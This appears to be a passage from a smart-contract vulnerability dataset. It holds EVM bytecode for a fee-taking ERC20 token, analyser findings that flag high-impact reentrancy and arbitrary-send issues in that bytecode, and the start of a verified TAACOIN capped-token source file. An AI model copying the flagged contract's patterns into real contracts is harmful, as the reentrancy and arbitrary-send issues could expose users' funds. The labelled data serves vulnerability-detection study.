00000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b600f42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600c600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220859aa8c9dd06a2b8b1f29987d9273b23b8a7b2b34e8ed8a217d4a95f939df4ea64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,117 |
0x485cf71c58fa9a171abbb531265c1ea5ed570e6b | /**
*Submitted for verification at Etherscan.io on 2020-12-25
*/
pragma solidity ^0.5.2;
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an account access to this role
*/
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
/**
* @dev remove an account's access to this role
*/
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
/**
* @dev check if an account has this role
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return A uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token to a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when _allowed[msg.sender][spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when _allowed[msg.sender][spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Approve an address to spend another addresses' tokens.
* @param owner The address that owns the tokens.
* @param spender The address that will spend the tokens.
* @param value The number of tokens that can be spent.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
contract ERC20Burnable is ERC20 {
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of token to be burned.
*/
function burn(uint256 value) public {
_burn(msg.sender, value);
}
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param from address The account whose tokens will be burned.
* @param value uint256 The amount of token to be burned.
*/
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @return the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract ERC20Mintable is ERC20, MinterRole {
/**
* @dev Function to mint tokens
* @param to The address that will receive the minted tokens.
* @param value The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address to, uint256 value) public onlyMinter returns (bool) {
_mint(to, value);
return true;
}
}
contract ERC20Capped is ERC20Mintable {
uint256 private _cap;
constructor (uint256 cap) public {
require(cap > 0);
_cap = cap;
}
/**
* @return the cap for the token minting.
*/
function cap() public view returns (uint256) {
return _cap;
}
function _mint(address account, uint256 value) internal {
require(totalSupply().add(value) <= _cap);
super._mint(account, value);
}
}
contract CustomToken is ERC20, ERC20Detailed, ERC20Capped, ERC20Burnable {
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals,
uint256 _maxSupply
)
ERC20Burnable()
ERC20Capped(_maxSupply)
ERC20Detailed(_name, _symbol, _decimals)
ERC20()
public {
}
}
contract TAACOIN is CustomToken {
uint8 private DECIMALS = 18; //자리수
uint256 private MAX_TOKEN_COUNT = 1000000000; // 총 토큰 개수
uint256 private MAX_SUPPLY = MAX_TOKEN_COUNT * (10 ** uint256(DECIMALS)); //총 발행량 %
uint256 private INITIAL_SUPPLY = MAX_SUPPLY * 10 / 10; //초기 공급량 %
bool private issued = false;
constructor()
CustomToken("Trust and Association", "TAA", DECIMALS, MAX_SUPPLY)
public {
require(issued == false);
super.mint(msg.sender, INITIAL_SUPPLY);
issued = true;
}
